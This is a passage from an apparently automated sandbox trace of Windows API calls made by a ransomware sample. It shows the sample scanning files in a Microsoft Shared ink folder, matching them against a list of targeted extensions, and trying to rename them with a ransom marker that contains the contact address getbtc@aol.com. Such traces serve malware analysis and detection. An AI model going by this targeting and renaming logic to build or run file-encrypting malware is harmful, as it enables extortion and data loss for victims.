Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0038.386] lstrlenW (lpString=".1cd") returned 4 [0038.386] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0038.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0038.386] lstrlenW (lpString=".jpg") returned 4 [0038.386] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0038.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0038.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0038.387] lstrlenW (lpString=".doc") returned 4 [0038.387] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0038.387] lstrlenW (lpString=".docx") returned 5 [0038.387] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0038.387] lstrlenW (lpString=".pdf") returned 4 [0038.387] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0038.387] lstrlenW (lpString=".xls") returned 4 [0038.387] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0038.387] lstrlenW (lpString=".xlsx") returned 5 [0038.387] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0038.387] lstrlenW (lpString=".ppt") returned 4 [0038.387] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0038.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0038.387] lstrlenW (lpString=".zip") returned 4 [0038.387] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0038.387] lstrlenW (lpString=".rar") returned 4 [0038.387] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0038.387] lstrlenW (lpString=".bz2") returned 4 [0038.387] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0038.387] lstrlenW (lpString=".7z") returned 3 [0038.387] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0038.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0038.387] lstrlenW (lpString=".dbf") returned 4 [0038.387] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0038.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0038.387] lstrlenW (lpString=".1cd") returned 4 [0038.387] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0038.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0038.387] lstrlenW (lpString=".jpg") returned 4 [0038.387] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0038.388] lstrcmpiW (lpString1=".dat", lpString2=".Q1G") returned -1 [0038.388] lstrlenW (lpString="hwrenalm.dat") returned 12 [0038.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.389] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=747280) returned 1 [0038.389] CloseHandle (hObject=0x1b0) returned 1 [0038.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0038.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0038.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0038.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0038.389] lstrlenW (lpString=".doc") returned 4 [0038.389] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0038.389] lstrlenW (lpString=".docx") returned 5 [0038.389] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0038.389] lstrlenW (lpString=".pdf") returned 4 [0038.389] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0038.389] lstrlenW (lpString=".xls") returned 4 [0038.389] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0038.389] lstrlenW (lpString=".xlsx") returned 5 [0038.389] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0038.389] lstrlenW (lpString=".ppt") returned 4 [0038.389] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0038.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0038.389] lstrlenW (lpString=".zip") returned 4 [0038.389] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0038.390] lstrlenW (lpString=".rar") returned 4 [0038.390] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0038.390] lstrlenW (lpString=".bz2") returned 4 [0038.390] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0038.390] lstrlenW (lpString=".7z") returned 3 [0038.390] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0038.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0038.390] lstrlenW (lpString=".dbf") returned 4 [0038.390] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0038.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0038.390] lstrlenW (lpString=".1cd") returned 4 [0038.390] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0038.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0038.390] lstrlenW (lpString=".jpg") returned 4 [0038.390] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0038.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0038.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0038.390] lstrlenW (lpString=".doc") returned 4 [0038.390] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0038.390] lstrlenW (lpString=".docx") returned 5 [0038.390] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0038.390] lstrlenW (lpString=".pdf") returned 4 [0038.390] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0038.390] lstrlenW (lpString=".xls") returned 4 [0038.390] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0038.390] lstrlenW (lpString=".xlsx") returned 5 [0038.390] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0038.390] lstrlenW (lpString=".ppt") returned 4 [0038.390] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0038.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0038.390] lstrlenW (lpString=".zip") returned 4 [0038.390] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0038.391] lstrlenW (lpString=".rar") returned 4 [0038.391] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0038.391] lstrlenW (lpString=".bz2") returned 4 [0038.391] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0038.391] lstrlenW (lpString=".7z") returned 3 [0038.391] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0038.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0038.391] lstrlenW (lpString=".dbf") returned 4 [0038.391] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0038.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0038.391] lstrlenW (lpString=".1cd") returned 4 [0038.391] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0038.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0038.391] lstrlenW (lpString=".jpg") returned 4 [0038.391] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0038.391] lstrcmpiW (lpString1=".dat", lpString2=".Q1G") returned -1 [0038.391] lstrlenW (lpString="hwrenclm.dat") returned 12 [0038.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.391] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=815680) returned 1 [0038.392] CloseHandle (hObject=0x1b0) returned 1 [0038.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0038.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0038.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0038.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0038.394] lstrlenW (lpString=".doc") returned 4 [0038.394] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0038.394] lstrlenW (lpString=".docx") returned 5 [0038.394] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0038.394] lstrlenW (lpString=".pdf") returned 4 [0038.394] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0038.394] lstrlenW (lpString=".xls") returned 4 [0038.394] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0038.394] lstrlenW (lpString=".xlsx") returned 5 [0038.394] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0038.394] lstrlenW (lpString=".ppt") returned 4 [0038.394] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0038.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0038.395] lstrlenW (lpString=".zip") returned 4 [0038.395] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0038.395] lstrlenW (lpString=".rar") returned 4 [0038.395] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0038.395] lstrlenW (lpString=".bz2") returned 4 [0038.395] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0038.395] lstrlenW (lpString=".7z") returned 3 [0038.395] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0038.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0038.395] lstrlenW (lpString=".dbf") returned 4 [0038.395] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0038.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0038.395] lstrlenW (lpString=".1cd") returned 4 [0038.395] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0038.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0038.395] lstrlenW (lpString=".jpg") returned 4 [0038.395] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0038.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0038.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0038.395] lstrlenW (lpString=".doc") returned 4 [0038.395] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0038.395] lstrlenW (lpString=".docx") returned 5 [0038.395] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0038.395] lstrlenW (lpString=".pdf") returned 4 [0038.395] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0038.395] lstrlenW (lpString=".xls") returned 4 [0038.395] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0038.395] lstrlenW (lpString=".xlsx") returned 5 [0038.395] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0038.395] lstrlenW (lpString=".ppt") returned 4 [0038.395] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0038.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0038.395] lstrlenW (lpString=".zip") returned 4 [0038.395] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0038.396] lstrlenW (lpString=".rar") returned 4 [0038.396] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0038.396] lstrlenW (lpString=".bz2") returned 4 [0038.396] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0038.396] lstrlenW (lpString=".7z") returned 3 [0038.396] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0038.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0038.396] lstrlenW (lpString=".dbf") returned 4 [0038.396] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0038.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0038.396] lstrlenW (lpString=".1cd") returned 4 [0038.396] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0038.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0038.396] lstrlenW (lpString=".jpg") returned 4 [0038.396] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0038.396] lstrcmpiW (lpString1=".dat", lpString2=".Q1G") returned -1 [0038.396] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0038.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.396] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1100368) returned 1 [0038.396] CloseHandle (hObject=0x1b0) returned 1 [0038.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0038.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0038.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0038.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0038.397] lstrlenW (lpString=".doc") returned 4 [0038.397] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0038.397] lstrlenW (lpString=".docx") returned 5 [0038.397] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0038.397] lstrlenW (lpString=".pdf") returned 4 [0038.397] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0038.397] lstrlenW (lpString=".xls") returned 4 [0038.397] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0038.397] lstrlenW (lpString=".xlsx") returned 5 [0038.397] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0038.397] lstrlenW (lpString=".ppt") returned 4 [0038.397] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0038.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0038.397] lstrlenW (lpString=".zip") returned 4 [0038.397] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0038.397] lstrlenW (lpString=".rar") returned 4 [0038.397] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0038.397] lstrlenW (lpString=".bz2") returned 4 [0038.397] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0038.397] lstrlenW (lpString=".7z") returned 3 [0038.397] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0038.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0038.397] lstrlenW (lpString=".dbf") returned 4 [0038.397] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0038.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0038.398] lstrlenW (lpString=".1cd") returned 4 [0038.398] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0038.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0038.398] lstrlenW (lpString=".jpg") returned 4 [0038.398] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0038.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0038.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0038.398] lstrlenW (lpString=".doc") returned 4 [0038.398] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0038.398] lstrlenW (lpString=".docx") returned 5 [0038.398] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0038.398] lstrlenW (lpString=".pdf") returned 4 [0038.398] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0038.398] lstrlenW (lpString=".xls") returned 4 [0038.398] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0038.398] lstrlenW (lpString=".xlsx") returned 5 [0038.398] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0038.398] lstrlenW (lpString=".ppt") returned 4 [0038.398] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0038.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0038.398] lstrlenW (lpString=".zip") returned 4 [0038.398] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0038.398] lstrlenW (lpString=".rar") returned 4 [0038.398] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0038.398] lstrlenW (lpString=".bz2") returned 4 [0038.398] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0038.398] lstrlenW (lpString=".7z") returned 3 [0038.398] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0038.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0038.398] lstrlenW (lpString=".dbf") returned 4 [0038.398] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0038.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0038.398] lstrlenW (lpString=".1cd") returned 4 [0038.398] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0038.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0038.399] lstrlenW (lpString=".jpg") returned 4 [0038.399] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0038.399] lstrcmpiW (lpString1=".dat", lpString2=".Q1G") returned -1 [0038.399] lstrlenW (lpString="hwruklm.dat") returned 11 [0038.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.400] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3053984) returned 1 [0038.400] CloseHandle (hObject=0x1b0) returned 1 [0038.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0x20 [0038.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0038.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0038.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0038.400] lstrlenW (lpString=".doc") returned 4 [0038.400] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0038.400] lstrlenW (lpString=".docx") returned 5 [0038.400] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0038.400] lstrlenW (lpString=".pdf") returned 4 [0038.400] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0038.400] lstrlenW (lpString=".xls") returned 4 [0038.400] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0038.400] lstrlenW (lpString=".xlsx") returned 5 [0038.400] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0038.400] lstrlenW (lpString=".ppt") returned 4 [0038.400] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0038.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0038.400] lstrlenW (lpString=".zip") returned 4 [0038.401] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0038.401] lstrlenW (lpString=".rar") returned 4 [0038.401] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0038.401] lstrlenW (lpString=".bz2") returned 4 [0038.401] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0038.401] lstrlenW (lpString=".7z") returned 3 [0038.401] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0038.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0038.401] lstrlenW (lpString=".dbf") returned 4 [0038.401] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0038.401] lstrcmpiW (lpString1=".dat", lpString2=".Q1G") returned -1 [0038.403] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2227968) returned 1 [0038.403] CloseHandle (hObject=0x1b0) returned 1 [0038.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0038.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0038.404] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3195696) returned 1 [0038.404] CloseHandle (hObject=0x1b0) returned 1 [0038.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0038.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0038.405] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=4120784) returned 1 [0038.405] CloseHandle (hObject=0x1b0) returned 1 [0038.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0038.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.405] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft 